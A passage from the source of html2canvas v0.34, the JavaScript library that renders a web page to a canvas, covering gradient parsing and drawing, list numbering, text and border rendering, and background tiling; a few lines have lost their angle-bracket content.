462 | m2 = m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}%)?)+/g);
463 | if(m2){
464 | m2Len = m2.length;
465 | step = 1 / Math.max(m2Len - 1, 1);
466 | for(i = 0; i < m2Len; i+=1){
467 | m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%)?/);
468 | if(m3[2]){
469 | stop = parseFloat(m3[2]);
470 | if(m3[3]){ // percentage
471 | stop /= 100;
472 | }
473 | } else {
474 | stop = i * step;
475 | }
476 | gradient.colorStops.push({
477 | color: m3[1],
478 | stop: stop
479 | });
480 | }
481 | }
482 | break;
483 |
484 | case '-webkit-radial-gradient':
485 | case '-moz-radial-gradient':
486 | case '-o-radial-gradient':
487 |
488 | gradient = {
489 | type: 'circle',
490 | x0: 0,
491 | y0: 0,
492 | x1: bounds.width,
493 | y1: bounds.height,
494 | cx: 0,
495 | cy: 0,
496 | rx: 0,
497 | ry: 0,
498 | colorStops: []
499 | };
500 |
501 | // center
502 | m2 = m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/);
503 | if(m2){
504 | gradient.cx = (m2[1] * bounds.width) / 100;
505 | gradient.cy = (m2[2] * bounds.height) / 100;
506 | }
507 |
508 | // size
509 | m2 = m1[3].match(/\w+/);
510 | m3 = m1[4].match(/[a-z-]*/);
511 | if(m2 && m3){
512 | switch(m3[0]){
513 | case 'farthest-corner':
514 | case 'cover': // is equivalent to farthest-corner
515 | case '': // mozilla removes "cover" from definition :(
516 | var tl = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.cy, 2));
517 | var tr = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
518 | var br = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
519 | var bl = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.cy, 2));
520 | gradient.rx = gradient.ry = Math.max(tl, tr, br, bl);
521 | break;
522 | case 'closest-corner':
523 | var tl = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.cy, 2));
524 | var tr = Math.sqrt(Math.pow(gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
525 | var br = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.y1 - gradient.cy, 2));
526 | var bl = Math.sqrt(Math.pow(gradient.x1 - gradient.cx, 2) + Math.pow(gradient.cy, 2));
527 | gradient.rx = gradient.ry = Math.min(tl, tr, br, bl);
528 | break;
529 | case 'farthest-side':
530 | if(m2[0] === 'circle'){
531 | gradient.rx = gradient.ry = Math.max(
532 | gradient.cx,
533 | gradient.cy,
534 | gradient.x1 - gradient.cx,
535 | gradient.y1 - gradient.cy
536 | );
537 | } else { // ellipse
538 |
539 | gradient.type = m2[0];
540 |
541 | gradient.rx = Math.max(
542 | gradient.cx,
543 | gradient.x1 - gradient.cx
544 | );
545 | gradient.ry = Math.max(
546 | gradient.cy,
547 | gradient.y1 - gradient.cy
548 | );
549 | }
550 | break;
551 | case 'closest-side':
552 | case 'contain': // is equivalent to closest-side
553 | if(m2[0] === 'circle'){
554 | gradient.rx = gradient.ry = Math.min(
555 | gradient.cx,
556 | gradient.cy,
557 | gradient.x1 - gradient.cx,
558 | gradient.y1 - gradient.cy
559 | );
560 | } else { // ellipse
561 |
562 | gradient.type = m2[0];
563 |
564 | gradient.rx = Math.min(
565 | gradient.cx,
566 | gradient.x1 - gradient.cx
567 | );
568 | gradient.ry = Math.min(
569 | gradient.cy,
570 | gradient.y1 - gradient.cy
571 | );
572 | }
573 | break;
574 |
575 | // TODO: add support for "30px 40px" sizes (webkit only)
576 | }
577 | }
578 |
579 | // color stops
580 | m2 = m1[5].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g);
581 | if(m2){
582 | m2Len = m2.length;
583 | step = 1 / Math.max(m2Len - 1, 1);
584 | for(i = 0; i < m2Len; i+=1){
585 | m3 = m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/);
586 | if(m3[2]){
587 | stop = parseFloat(m3[2]);
588 | if(m3[3] === '%'){
589 | stop /= 100;
590 | } else { // px - stupid opera
591 | stop /= bounds.width;
592 | }
593 | } else {
594 | stop = i * step;
595 | }
596 | gradient.colorStops.push({
597 | color: m3[1],
598 | stop: stop
599 | });
600 | }
601 | }
602 | break;
603 | }
604 | }
605 |
606 | return gradient;
607 | };
608 |
609 | _html2canvas.Generate.Gradient = function(src, bounds) {
610 | var canvas = document.createElement('canvas'),
611 | ctx = canvas.getContext('2d'),
612 | gradient, grad, i, len, img;
613 |
614 | canvas.width = bounds.width;
615 | canvas.height = bounds.height;
616 |
617 | // TODO: add support for multi defined background gradients (like radial gradient example in background.html)
618 | gradient = _html2canvas.Generate.parseGradient(src, bounds);
619 |
620 | img = new Image();
621 |
622 | if(gradient){
623 | if(gradient.type === 'linear'){
624 | grad = ctx.createLinearGradient(gradient.x0, gradient.y0, gradient.x1, gradient.y1);
625 |
626 | for (i = 0, len = gradient.colorStops.length; i < len; i+=1) {
627 | try {
628 | grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color);
629 | }
630 | catch(e) {
631 | h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]);
632 | }
633 | }
634 |
635 | ctx.fillStyle = grad;
636 | ctx.fillRect(0, 0, bounds.width, bounds.height);
637 |
638 | img.src = canvas.toDataURL();
639 | } else if(gradient.type === 'circle'){
640 |
641 | grad = ctx.createRadialGradient(gradient.cx, gradient.cy, 0, gradient.cx, gradient.cy, gradient.rx);
642 |
643 | for (i = 0, len = gradient.colorStops.length; i < len; i+=1) {
644 | try {
645 | grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color);
646 | }
647 | catch(e) {
648 | h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]);
649 | }
650 | }
651 |
652 | ctx.fillStyle = grad;
653 | ctx.fillRect(0, 0, bounds.width, bounds.height);
654 |
655 | img.src = canvas.toDataURL();
656 | } else if(gradient.type === 'ellipse'){
657 |
658 | // draw circle
659 | var canvasRadial = document.createElement('canvas'),
660 | ctxRadial = canvasRadial.getContext('2d'),
661 | ri = Math.max(gradient.rx, gradient.ry),
662 | di = ri * 2, imgRadial;
663 |
664 | canvasRadial.width = canvasRadial.height = di;
665 |
666 | grad = ctxRadial.createRadialGradient(gradient.rx, gradient.ry, 0, gradient.rx, gradient.ry, ri);
667 |
668 | for (i = 0, len = gradient.colorStops.length; i < len; i+=1) {
669 | try {
670 | grad.addColorStop(gradient.colorStops[i].stop, gradient.colorStops[i].color);
671 | }
672 | catch(e) {
673 | h2clog(['failed to add color stop: ', e, '; tried to add: ', gradient.colorStops[i], '; stop: ', i, '; in: ', src]);
674 | }
675 | }
676 |
677 | ctxRadial.fillStyle = grad;
678 | ctxRadial.fillRect(0, 0, di, di);
679 |
680 | ctx.fillStyle = gradient.colorStops[i - 1].color;
681 | ctx.fillRect(0, 0, canvas.width, canvas.height);
682 |
683 | imgRadial = new Image();
684 | imgRadial.onload = function() { // wait until the image is filled
685 |
686 | // transform circle to ellipse
687 | ctx.drawImage(imgRadial, gradient.cx - gradient.rx, gradient.cy - gradient.ry, 2 * gradient.rx, 2 * gradient.ry);
688 |
689 | img.src = canvas.toDataURL();
690 |
691 | }
692 | imgRadial.src = canvasRadial.toDataURL();
693 | }
694 | }
695 |
696 | return img;
697 | };
698 |
699 | _html2canvas.Generate.ListAlpha = function(number) {
700 | var tmp = "",
701 | modulus;
702 |
703 | do {
704 | modulus = number % 26;
705 | tmp = String.fromCharCode((modulus) + 64) + tmp;
706 | number = number / 26;
707 | }while((number*26) > 26);
708 |
709 | return tmp;
710 | };
711 |
712 | _html2canvas.Generate.ListRoman = function(number) {
713 | var romanArray = ["M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I"],
714 | decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1],
715 | roman = "",
716 | v,
717 | len = romanArray.length;
718 |
719 | if (number <= 0 || number >= 4000) {
720 | return number;
721 | }
722 |
723 | for (v=0; v < len; v+=1) {
724 | while (number >= decimal[v]) {
725 | number -= decimal[v];
726 | roman += romanArray[v];
727 | }
728 | }
729 |
730 | return roman;
731 |
732 | };
733 |
734 | })();
735 | /*
736 | html2canvas v0.34
737 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
738 | http://www.twitter.com/niklasvh
739 |
740 | Released under MIT License
741 | */
742 |
743 | /*
744 | * New function for traversing elements
745 | */
746 |
747 | _html2canvas.Parse = function ( images, options ) {
748 | window.scroll(0,0);
749 |
750 | var support = {
751 | rangeBounds: false,
752 | svgRendering: options.svgRendering && (function( ){
753 | var img = new Image(),
754 | canvas = document.createElement("canvas"),
755 | ctx = (canvas.getContext === undefined) ? false : canvas.getContext("2d");
756 | if (ctx === false) {
757 | // browser doesn't support canvas, good luck supporting SVG on canvas
758 | return false;
759 | }
760 | canvas.width = canvas.height = 10;
761 | img.src = [
762 | "data:image/svg+xml,",
763 | ""
770 | ].join("");
771 | try {
772 | ctx.drawImage(img, 0, 0);
773 | canvas.toDataURL();
774 | } catch(e) {
775 | return false;
776 | }
777 | h2clog('html2canvas: Parse: SVG powered rendering available');
778 | return true;
779 |
780 | })()
781 | },
782 | element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
783 | needReorder = false,
784 | numDraws = 0,
785 | fontData = {},
786 | doc = element.ownerDocument,
787 | ignoreElementsRegExp = new RegExp("(" + options.ignoreElements + ")"),
788 | body = doc.body,
789 | r,
790 | testElement,
791 | rangeBounds,
792 | rangeHeight,
793 | stack,
794 | ctx,
795 | docDim,
796 | i,
797 | children,
798 | childrenLen;
799 |
800 |
801 | function docSize(){
802 |
803 | return {
804 | width: Math.max(
805 | Math.max(doc.body.scrollWidth, doc.documentElement.scrollWidth),
806 | Math.max(doc.body.offsetWidth, doc.documentElement.offsetWidth),
807 | Math.max(doc.body.clientWidth, doc.documentElement.clientWidth)
808 | ),
809 | height: Math.max(
810 | Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight),
811 | Math.max(doc.body.offsetHeight, doc.documentElement.offsetHeight),
812 | Math.max(doc.body.clientHeight, doc.documentElement.clientHeight)
813 | )
814 | };
815 |
816 | }
817 |
818 | images = images || {};
819 |
820 | // Test whether we can use ranges to measure bounding boxes
821 | // Opera doesn't provide valid bounds.height/bottom even though it supports the method.
822 |
823 |
824 | if (doc.createRange) {
825 | r = doc.createRange();
826 | //this.support.rangeBounds = new Boolean(r.getBoundingClientRect);
827 | if (r.getBoundingClientRect){
828 | testElement = doc.createElement('boundtest');
829 | testElement.style.height = "123px";
830 | testElement.style.display = "block";
831 | body.appendChild(testElement);
832 |
833 | r.selectNode(testElement);
834 | rangeBounds = r.getBoundingClientRect();
835 | rangeHeight = rangeBounds.height;
836 |
837 | if (rangeHeight === 123) {
838 | support.rangeBounds = true;
839 | }
840 | body.removeChild(testElement);
841 |
842 |
843 | }
844 |
845 | }
846 |
847 |
848 | /*
849 | var rootStack = new this.storageContext($(document).width(),$(document).height());
850 | rootStack.opacity = this.getCSS(this.element,"opacity");
851 | var stack = this.newElement(this.element,rootStack);
852 |
853 |
854 | this.parseElement(this.element,stack);
855 | */
856 |
857 |
858 |
859 |
860 | var getCSS = _html2canvas.Util.getCSS;
861 | function getCSSInt(element, attribute) {
862 | var val = parseInt(getCSS(element, attribute), 10);
863 | return (isNaN(val)) ? 0 : val; // borders in old IE are throwing 'medium' for demo.html
864 | }
865 |
866 | // Drawing a rectangle
867 | function renderRect (ctx, x, y, w, h, bgcolor) {
868 | if (bgcolor !=="transparent"){
869 | ctx.setVariable("fillStyle", bgcolor);
870 | ctx.fillRect (x, y, w, h);
871 | numDraws+=1;
872 | }
873 | }
874 |
875 |
876 | function textTransform (text, transform) {
877 | switch(transform){
878 | case "lowercase":
879 | return text.toLowerCase();
880 |
881 | case "capitalize":
882 | return text.replace( /(^|\s|:|-|\(|\))([a-z])/g , function (m, p1, p2) {
883 | if (m.length > 0) {
884 | return p1 + p2.toUpperCase();
885 | }
886 | } );
887 |
888 | case "uppercase":
889 | return text.toUpperCase();
890 |
891 | default:
892 | return text;
893 |
894 | }
895 |
896 | }
897 |
898 | function trimText (text) {
899 | return text.replace(/^\s*/g, "").replace(/\s*$/g, "");
900 | }
901 |
902 | function fontMetrics (font, fontSize) {
903 |
904 | if (fontData[font + "-" + fontSize] !== undefined) {
905 | return fontData[font + "-" + fontSize];
906 | }
907 |
908 |
909 | var container = doc.createElement('div'),
910 | img = doc.createElement('img'),
911 | span = doc.createElement('span'),
912 | baseline,
913 | middle,
914 | metricsObj;
915 |
916 |
917 | container.style.visibility = "hidden";
918 | container.style.fontFamily = font;
919 | container.style.fontSize = fontSize;
920 | container.style.margin = 0;
921 | container.style.padding = 0;
922 |
923 | body.appendChild(container);
924 |
925 |
926 |
927 | // http://probablyprogramming.com/2009/03/15/the-tiniest-gif-ever (handtinywhite.gif)
928 | img.src = "data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=";
929 | img.width = 1;
930 | img.height = 1;
931 |
932 | img.style.margin = 0;
933 | img.style.padding = 0;
934 | img.style.verticalAlign = "baseline";
935 |
936 | span.style.fontFamily = font;
937 | span.style.fontSize = fontSize;
938 | span.style.margin = 0;
939 | span.style.padding = 0;
940 |
941 |
942 |
943 |
944 | span.appendChild(doc.createTextNode('Hidden Text'));
945 | container.appendChild(span);
946 | container.appendChild(img);
947 | baseline = (img.offsetTop - span.offsetTop) + 1;
948 |
949 | container.removeChild(span);
950 | container.appendChild(doc.createTextNode('Hidden Text'));
951 |
952 | container.style.lineHeight = "normal";
953 | img.style.verticalAlign = "super";
954 |
955 | middle = (img.offsetTop-container.offsetTop) + 1;
956 | metricsObj = {
957 | baseline: baseline,
958 | lineWidth: 1,
959 | middle: middle
960 | };
961 |
962 |
963 | fontData[font + "-" + fontSize] = metricsObj;
964 |
965 | body.removeChild(container);
966 |
967 | return metricsObj;
968 |
969 | }
970 |
971 |
972 | function drawText(currentText, x, y, ctx){
973 | if (trimText(currentText).length>0) {
974 | ctx.fillText(currentText,x,y);
975 | numDraws+=1;
976 | }
977 | }
978 |
979 |
980 | function renderText(el, textNode, stack) {
981 | var ctx = stack.ctx,
982 | family = getCSS(el, "fontFamily"),
983 | size = getCSS(el, "fontSize"),
984 | color = getCSS(el, "color"),
985 | text_decoration = getCSS(el, "textDecoration"),
986 | text_align = getCSS(el, "textAlign"),
987 | letter_spacing = getCSS(el, "letterSpacing"),
988 | bounds,
989 | text,
990 | metrics,
991 | renderList,
992 | listLen,
993 | bold = getCSS(el, "fontWeight"),
994 | font_style = getCSS(el, "fontStyle"),
995 | font_variant = getCSS(el, "fontVariant"),
996 | align = false,
997 | newTextNode,
998 | textValue,
999 | textOffset = 0,
1000 | oldTextNode,
1001 | c,
1002 | range,
1003 | parent,
1004 | wrapElement,
1005 | backupText;
1006 |
1007 | // apply text-transform:ation to the text
1008 |
1009 |
1010 |
1011 | textNode.nodeValue = textTransform(textNode.nodeValue, getCSS(el, "textTransform"));
1012 | text = trimText(textNode.nodeValue);
1013 |
1014 | if (text.length>0){
1015 |
1016 | if (text_decoration !== "none"){
1017 | metrics = fontMetrics(family, size);
1018 | }
1019 |
1020 | text_align = text_align.replace(["-webkit-auto"],["auto"]);
1021 |
1022 | if (options.letterRendering === false && /^(left|right|justify|auto)$/.test(text_align) && /^(normal|none)$/.test(letter_spacing)){
1023 | // this.setContextVariable(ctx,"textAlign",text_align);
1024 | renderList = textNode.nodeValue.split(/(\b| )/);
1025 |
1026 | }else{
1027 | // this.setContextVariable(ctx,"textAlign","left");
1028 | renderList = textNode.nodeValue.split("");
1029 | }
1030 |
1031 | switch(parseInt(bold, 10)){
1032 | case 401:
1033 | bold = "bold";
1034 | break;
1035 | case 400:
1036 | bold = "normal";
1037 | break;
1038 | }
1039 |
1040 | ctx.setVariable("fillStyle", color);
1041 |
1042 | /*
1043 | need to be defined in the order as defined in http://www.w3.org/TR/CSS21/fonts.html#font-shorthand
1044 | to properly work in Firefox
1045 | */
1046 | ctx.setVariable("font", font_style+ " " + font_variant + " " + bold + " " + size + " " + family);
1047 |
1048 | if (align){
1049 | ctx.setVariable("textAlign", "right");
1050 | }else{
1051 | ctx.setVariable("textAlign", "left");
1052 | }
1053 |
1054 |
1055 | /*
1056 | if (stack.clip){
1057 | ctx.rect (stack.clip.left, stack.clip.top, stack.clip.width, stack.clip.height);
1058 | ctx.clip();
1059 | }
1060 | */
1061 |
1062 |
1063 | oldTextNode = textNode;
1064 |
1065 |
1066 | for ( c=0, listLen = renderList.length; c < listLen; c+=1 ) {
1067 | textValue = null;
1068 |
1069 |
1070 |
1071 | if (support.rangeBounds){
1072 | // getBoundingClientRect is supported for ranges
1073 | if (text_decoration !== "none" || trimText(renderList[c]).length !== 0) {
1074 | textValue = renderList[c];
1075 | if (doc.createRange){
1076 | range = doc.createRange();
1077 |
1078 | range.setStart(textNode, textOffset);
1079 | range.setEnd(textNode, textOffset + textValue.length);
1080 | }else{
1081 | // TODO add IE support
1082 | range = body.createTextRange();
1083 | }
1084 |
1085 | if (range.getBoundingClientRect()) {
1086 | bounds = range.getBoundingClientRect();
1087 | }else{
1088 | bounds = {};
1089 | }
1090 |
1091 | }
1092 | }else{
1093 | // it isn't supported, so let's wrap it inside an element instead and get the bounds there
1094 |
1095 | // IE 9 bug
1096 | if (typeof oldTextNode.nodeValue !== "string" ){
1097 | continue;
1098 | }
1099 |
1100 | newTextNode = oldTextNode.splitText(renderList[c].length);
1101 |
1102 | parent = oldTextNode.parentNode;
1103 | wrapElement = doc.createElement('wrapper');
1104 | backupText = oldTextNode.cloneNode(true);
1105 |
1106 | wrapElement.appendChild(oldTextNode.cloneNode(true));
1107 | parent.replaceChild(wrapElement, oldTextNode);
1108 |
1109 | bounds = _html2canvas.Util.Bounds(wrapElement);
1110 |
1111 | textValue = oldTextNode.nodeValue;
1112 |
1113 | oldTextNode = newTextNode;
1114 | parent.replaceChild(backupText, wrapElement);
1115 |
1116 |
1117 | }
1118 |
1119 | if (textValue !== null){
1120 | drawText(textValue, bounds.left, bounds.bottom, ctx);
1121 | }
1122 |
1123 | switch(text_decoration) {
1124 | case "underline":
1125 | // Draws a line at the baseline of the font
1126 | // TODO As some browsers display the line as more than 1px if the font-size is big, need to take that into account both in position and size
1127 | renderRect(ctx, bounds.left, Math.round(bounds.top + metrics.baseline + metrics.lineWidth), bounds.width, 1, color);
1128 | break;
1129 | case "overline":
1130 | renderRect(ctx, bounds.left, bounds.top, bounds.width, 1, color);
1131 | break;
1132 | case "line-through":
1133 | // TODO try and find exact position for line-through
1134 | renderRect(ctx, bounds.left, Math.ceil(bounds.top + metrics.middle + metrics.lineWidth), bounds.width, 1, color);
1135 | break;
1136 |
1137 | }
1138 |
1139 |
1140 |
1141 |
1142 |
1143 | textOffset += renderList[c].length;
1144 |
1145 | }
1146 |
1147 |
1148 |
1149 | }
1150 |
1151 | }
1152 |
1153 | function listPosition (element, val) {
1154 | var boundElement = doc.createElement( "boundelement" ),
1155 | type,
1156 | bounds;
1157 |
1158 | boundElement.style.display = "inline";
1159 | //boundElement.style.width = "1px";
1160 | //boundElement.style.height = "1px";
1161 |
1162 | type = element.style.listStyleType;
1163 | element.style.listStyleType = "none";
1164 |
1165 | boundElement.appendChild( doc.createTextNode( val ) );
1166 |
1167 |
1168 | element.insertBefore(boundElement, element.firstChild);
1169 |
1170 |
1171 | bounds = _html2canvas.Util.Bounds( boundElement );
1172 | element.removeChild( boundElement );
1173 | element.style.listStyleType = type;
1174 | return bounds;
1175 |
1176 | }
1177 |
1178 |
1179 |
1180 | function elementIndex( el ) {
1181 | var i = -1,
1182 | count = 1,
1183 | childs = el.parentNode.childNodes;
1184 |
1185 | if ( el.parentNode ) {
1186 | while( childs[ ++i ] !== el ) {
1187 | if ( childs[ i ].nodeType === 1 ) {
1188 | count++;
1189 | }
1190 | }
1191 | return count;
1192 | } else {
1193 | return -1;
1194 | }
1195 |
1196 | }
1197 |
1198 | function renderListItem(element, stack, elBounds) {
1199 |
1200 |
1201 | var position = getCSS(element, "listStylePosition"),
1202 | x,
1203 | y,
1204 | type = getCSS(element, "listStyleType"),
1205 | currentIndex,
1206 | text,
1207 | listBounds,
1208 | bold = getCSS(element, "fontWeight");
1209 |
1210 | if (/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)) {
1211 |
1212 | currentIndex = elementIndex( element );
1213 |
1214 | switch(type){
1215 | case "decimal":
1216 | text = currentIndex;
1217 | break;
1218 | case "decimal-leading-zero":
1219 | if (currentIndex.toString().length === 1){
1220 | text = currentIndex = "0" + currentIndex.toString();
1221 | }else{
1222 | text = currentIndex.toString();
1223 | }
1224 | break;
1225 | case "upper-roman":
1226 | text = _html2canvas.Generate.ListRoman( currentIndex );
1227 | break;
1228 | case "lower-roman":
1229 | text = _html2canvas.Generate.ListRoman( currentIndex ).toLowerCase();
1230 | break;
1231 | case "lower-alpha":
1232 | text = _html2canvas.Generate.ListAlpha( currentIndex ).toLowerCase();
1233 | break;
1234 | case "upper-alpha":
1235 | text = _html2canvas.Generate.ListAlpha( currentIndex );
1236 | break;
1237 | }
1238 |
1239 |
1240 | text += ". ";
1241 | listBounds = listPosition(element, text);
1242 |
1243 |
1244 |
1245 | switch(bold){
1246 | case 401:
1247 | bold = "bold";
1248 | break;
1249 | case 400:
1250 | bold = "normal";
1251 | break;
1252 | }
1253 |
1254 |
1255 |
1256 |
1257 | ctx.setVariable( "fillStyle", getCSS(element, "color") );
1258 | ctx.setVariable( "font", getCSS(element, "fontVariant") + " " + bold + " " + getCSS(element, "fontStyle") + " " + getCSS(element, "fontSize") + " " + getCSS(element, "fontFamily") );
1259 |
1260 |
1261 | if ( position === "inside" ) {
1262 | ctx.setVariable("textAlign", "left");
1263 | // this.setFont(stack.ctx, element, false);
1264 | x = elBounds.left;
1265 |
1266 | }else{
1267 | return;
1268 | /*
1269 | TODO really need to figure out some more accurate way to try and find the position.
1270 | as defined in http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position, it does not even have a specified "correct" position, so each browser
1271 | may display it whatever way it feels like.
1272 | "The position of the list-item marker adjacent to floats is undefined in CSS 2.1. CSS 2.1 does not specify the precise location of the marker box or its position in the painting order"
1273 |
1274 | ctx.setVariable("textAlign", "right");
1275 | // this.setFont(stack.ctx, element, true);
1276 | x = elBounds.left - 10;
1277 | */
1278 | }
1279 |
1280 | y = listBounds.bottom;
1281 |
1282 | drawText(text, x, y, ctx);
1283 |
1284 |
1285 | }
1286 |
1287 |
1288 | }
1289 |
1290 | function loadImage (src){
1291 | var img = images[src];
1292 | if (img && img.succeeded === true) {
1293 | return img.img;
1294 | } else {
1295 | return false;
1296 | }
1297 | }
1298 |
1299 |
1300 |
1301 |
1302 |
1303 |
1304 | function clipBounds(src, dst){
1305 |
1306 | var x = Math.max(src.left, dst.left),
1307 | y = Math.max(src.top, dst.top),
1308 | x2 = Math.min((src.left + src.width), (dst.left + dst.width)),
1309 | y2 = Math.min((src.top + src.height), (dst.top + dst.height));
1310 |
1311 | return {
1312 | left:x,
1313 | top:y,
1314 | width:x2-x,
1315 | height:y2-y
1316 | };
1317 |
1318 | }
1319 |
1320 | function setZ(zIndex, parentZ){
1321 | // TODO fix static elements overlapping relative/absolute elements under same stack, if they are defined after them
1322 | var newContext;
1323 | if (!parentZ){
1324 | newContext = h2czContext(0);
1325 | return newContext;
1326 | }
1327 |
1328 | if (zIndex !== "auto"){
1329 | needReorder = true;
1330 | newContext = h2czContext(zIndex);
1331 | parentZ.children.push(newContext);
1332 | return newContext;
1333 |
1334 | }
1335 |
1336 | return parentZ;
1337 |
1338 | }
1339 |
1340 | function renderBorders(el, ctx, bounds, clip){
1341 |
1342 | /*
1343 | * TODO add support for different border-style's than solid
1344 | */
1345 |
1346 | var x = bounds.left,
1347 | y = bounds.top,
1348 | w = bounds.width,
1349 | h = bounds.height,
1350 | borderSide,
1351 | borderData,
1352 | bx,
1353 | by,
1354 | bw,
1355 | bh,
1356 | borderBounds,
1357 | borders = (function(el){
1358 | var borders = [],
1359 | sides = ["Top","Right","Bottom","Left"],
1360 | s;
1361 |
1362 | for (s = 0; s < 4; s+=1){
1363 | borders.push({
1364 | width: getCSSInt(el, 'border' + sides[s] + 'Width'),
1365 | color: getCSS(el, 'border' + sides[s] + 'Color')
1366 | });
1367 | }
1368 |
1369 | return borders;
1370 |
1371 | }(el));
1372 |
1373 |
1374 | for (borderSide = 0; borderSide < 4; borderSide+=1){
1375 | borderData = borders[borderSide];
1376 |
1377 | if (borderData.width>0){
1378 | bx = x;
1379 | by = y;
1380 | bw = w;
1381 | bh = h - (borders[2].width);
1382 |
1383 | switch(borderSide){
1384 | case 0:
1385 | // top border
1386 | bh = borders[0].width;
1387 | break;
1388 | case 1:
1389 | // right border
1390 | bx = x + w - (borders[1].width);
1391 | bw = borders[1].width;
1392 | break;
1393 | case 2:
1394 | // bottom border
1395 | by = (by + h) - (borders[2].width);
1396 | bh = borders[2].width;
1397 | break;
1398 | case 3:
1399 | // left border
1400 | bw = borders[3].width;
1401 | break;
1402 | }
1403 |
1404 | borderBounds = {
1405 | left:bx,
1406 | top:by,
1407 | width: bw,
1408 | height:bh
1409 | };
1410 |
1411 | if (clip){
1412 | borderBounds = clipBounds(borderBounds, clip);
1413 | }
1414 |
1415 |
1416 | if (borderBounds.width>0 && borderBounds.height>0){
1417 | renderRect(ctx, bx, by, borderBounds.width, borderBounds.height, borderData.color);
1418 | }
1419 |
1420 |
1421 | }
1422 | }
1423 |
1424 | return borders;
1425 |
1426 | }
1427 |
1428 |
1429 | function renderFormValue (el, bounds, stack){
1430 |
1431 | var valueWrap = doc.createElement('valuewrap'),
1432 | cssArr = ['lineHeight','textAlign','fontFamily','color','fontSize','paddingLeft','paddingTop','width','height','border','borderLeftWidth','borderTopWidth'],
1433 | i,
1434 | textValue,
1435 | textNode,
1436 | arrLen,
1437 | style;
1438 |
1439 | for (i = 0, arrLen = cssArr.length; i < arrLen; i+=1){
1440 | style = cssArr[i];
1441 |
1442 | try {
1443 | valueWrap.style[style] = getCSS(el, style);
1444 | } catch( e ) {
1445 | // Older IE has issues with "border"
1446 | h2clog("html2canvas: Parse: Exception caught in renderFormValue: " + e.message);
1447 | }
1448 | }
1449 |
1450 |
1451 | valueWrap.style.borderColor = "black";
1452 | valueWrap.style.borderStyle = "solid";
1453 | valueWrap.style.display = "block";
1454 | valueWrap.style.position = "absolute";
1455 | if (/^(submit|reset|button|text|password)$/.test(el.type) || el.nodeName === "SELECT"){
1456 | valueWrap.style.lineHeight = getCSS(el, "height");
1457 | }
1458 |
1459 |
1460 | valueWrap.style.top = bounds.top + "px";
1461 | valueWrap.style.left = bounds.left + "px";
1462 |
1463 | if (el.nodeName === "SELECT"){
1464 | // TODO increase accuracy of text position
1465 | textValue = el.options[el.selectedIndex].text;
1466 | } else{
1467 | textValue = el.value;
1468 | }
1469 | textNode = doc.createTextNode(textValue);
1470 |
1471 | valueWrap.appendChild(textNode);
1472 | body.appendChild(valueWrap);
1473 |
1474 |
1475 | renderText(el, textNode, stack);
1476 | body.removeChild(valueWrap);
1477 |
1478 |
1479 |
1480 | }
1481 |
1482 |
1483 |
1484 |
1485 |
1486 | function renderImage (ctx, image, sx, sy, sw, sh, dx, dy, dw, dh) {
1487 | ctx.drawImage(
1488 | image,
1489 | sx, //sx
1490 | sy, //sy
1491 | sw, //sw
1492 | sh, //sh
1493 | dx, //dx
1494 | dy, // dy
1495 | dw, //dw
1496 | dh //dh
1497 | );
1498 | numDraws+=1;
1499 |
1500 | }
1501 |
1502 |
1503 | function renderBackgroundRepeat (ctx, image, x, y, width, height, elx, ely){
1504 | var sourceX = 0,
1505 | sourceY=0;
1506 | if (elx-x>0){
1507 | sourceX = elx-x;
1508 | }
1509 |
1510 | if (ely-y>0){
1511 | sourceY = ely-y;
1512 | }
1513 |
1514 | renderImage(
1515 | ctx,
1516 | image,
1517 | sourceX, // source X
1518 | sourceY, // source Y
1519 | width-sourceX, // source Width
1520 | height-sourceY, // source Height
1521 | x+sourceX, // destination X
1522 | y+sourceY, // destination Y
1523 | width-sourceX, // destination width
1524 | height-sourceY // destination height
1525 | );
1526 | }
1527 |
1528 |
1529 | function renderBackgroundRepeatY (ctx, image, bgp, x, y, w, h){
1530 |
1531 | var height,
1532 | width = Math.min(image.width,w),bgy;
1533 |
1534 | bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height;
1535 |
1536 |
1537 | for(bgy=(y+bgp.top);bgyh+y){
1541 | height = (h+y)-bgy;
1542 | }else{
1543 | height = image.height;
1544 | }
1545 | renderBackgroundRepeat(ctx,image,x+bgp.left,bgy,width,height,x,y);
1546 |
1547 | bgy = Math.floor(bgy+image.height);
1548 |
1549 | }
1550 | }
1551 |
1552 | function renderBackgroundRepeatX(ctx, image, bgp, x, y, w, h){
1553 |
1554 | var height = Math.min(image.height,h),
1555 | width,bgx;
